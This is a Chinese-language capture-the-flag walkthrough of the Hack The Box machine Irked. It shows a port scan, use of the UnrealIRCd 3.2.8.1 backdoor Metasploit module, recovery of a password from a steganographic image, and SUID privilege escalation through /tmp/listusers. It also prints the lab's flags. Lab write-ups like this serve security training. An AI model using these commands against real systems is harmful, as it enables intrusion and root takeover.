0x00.前言

这世上有两种人,一种人生命的目的,并不是为了存在,而是为了燃烧,而另一种人却永远只有看着别人燃烧,让别人的光芒来照耀自己,究竟那种人才是聪明人。

0x01. 信息收集

开始之前先简述几个概念,

IRC:是一种基于文本的即时消息聊天系统,专为讨论论坛中的群组交流而设计,称为频道,但也允许通过私人消息以及聊天和数据传输进行一对一交流,包括文件共享。早期互联网的产物,现在基本很少有人用了。
UnrealIRCd:是一个开源 IRC 守护程序,最初基于 DreamForge,可用于类 Unix 操作系统和Windows。自 UnrealIRCd c 的开发开始以来。1999 年 5 月,添加和修改了许多新功能,包括高级安全功能和错误修复,它已成为流行的服务器。

irssi: 是一个基于终端的聊天客户端,用于通过 Internet 中继聊天 (IRC) 进行实时对话。

nmap -p- -min-rate 1000 10.10.10.117
nmap -p 22,80,111,6697,8067,56516,65534 -sC -sV -T4 10.10.10.117
开放端口:
    PORT      STATE SERVICE
    22/tcp    open  ssh
    80/tcp    open  http
    111/tcp   open  rpcbind
    6697/tcp  open  ircs-u
    8067/tcp  open  infi-async
    56516/tcp open  unknown
    65534/tcp open  unknown
image-20220515120834596

0x02.后门命令执行获取ircd用户shell

简而言之,这台服务器上运行了一个IRC聊天室,可以用irssi(kali可以通过apt下载)连接上聊天室,

irssi -c 10.10.10.117 --port 8067

发现irssi使用版本 Unreal3.2.8.1 ,如下:

image-20220515121254808

可以通过Google查询在2010 年 6 月 12 日披露了一个后门命令执行,如下:

image-20220515193638238

Msf也有相关payload,具体操作如下:

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show targets
    ...targets...
msf exploit(unreal_ircd_3281_backdoor) > set TARGET < target-id >
msf exploit(unreal_ircd_3281_backdoor) > show options
    ...show and set options...
msf exploit(unreal_ircd_3281_backdoor) > exploit
image-20220515123238035

执行后可以获得一个ircd用户的shell,使用python获取tty,

python3 -c 'import pty;pty.spawn("/bin/bash")'

0x03.图片隐写获取djmardov用户shell

有两个用户目录,可以在/home/djmardov/Documents下发现.backup,其内容为:

Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

"steg backup"指向隐写术,因为隐写术的英文为

steganography,steg应该是其缩写。

浏览器访问80端口会得到一张图片,

image-20220515194559064

隐写的内容就在图片中,下载图片并用steghide提取隐写内容,

wget http://10.10.10.117/irked.jpg
steghide extract -p UPupDOWNdownLRlrBAbaSSss -sf irked.jpg

提取的内容会保存在pass.txt中:

cat pass.txt
Kab6h+m+bbp2J:HG

得到一串字符串,是djmardov用户的ssh登录密码,

ssh djmardov@10.10.10.117
cat Documents/user.txt
4a66a78b12dc0e661a59d3f5c0267a8e
image-20220515195028702

0x04.SUID提权

查找SUID文件,

find / -type f -perm -4000 2>/dev/null

注意到一个文件/usr/bin/viewuser,

image-20220515195156371

通过在ltrace上执行可以发现该文件会将uid设置为0来执行/tmp/listusers中的命令,即使用root权限执行,

image-20220515195818692

所以/tmp/listusers中写入恶意命令后执行即可得到root,如下:

printf '/bin/sh' > /tmp/listusers
chmod a+x /tmp/listusers
/usr/bin/viewuser
image-20220515134051798

root.txt:8d8e9e8be64654b6dccc3bff4522daf3

image-20220515134221761

参考文章:

​ https://0xdf.gitlab.io/2019/04/27/htb-irked.html#privesc-djmardov--root

​ https://vj0shii.medium.com/htb-irked-walkthrough-f8b584634eee

​ https://0xrick.github.io/hack-the-box/irked/#exploiting-viewuser-privilege-escalation-to-root

img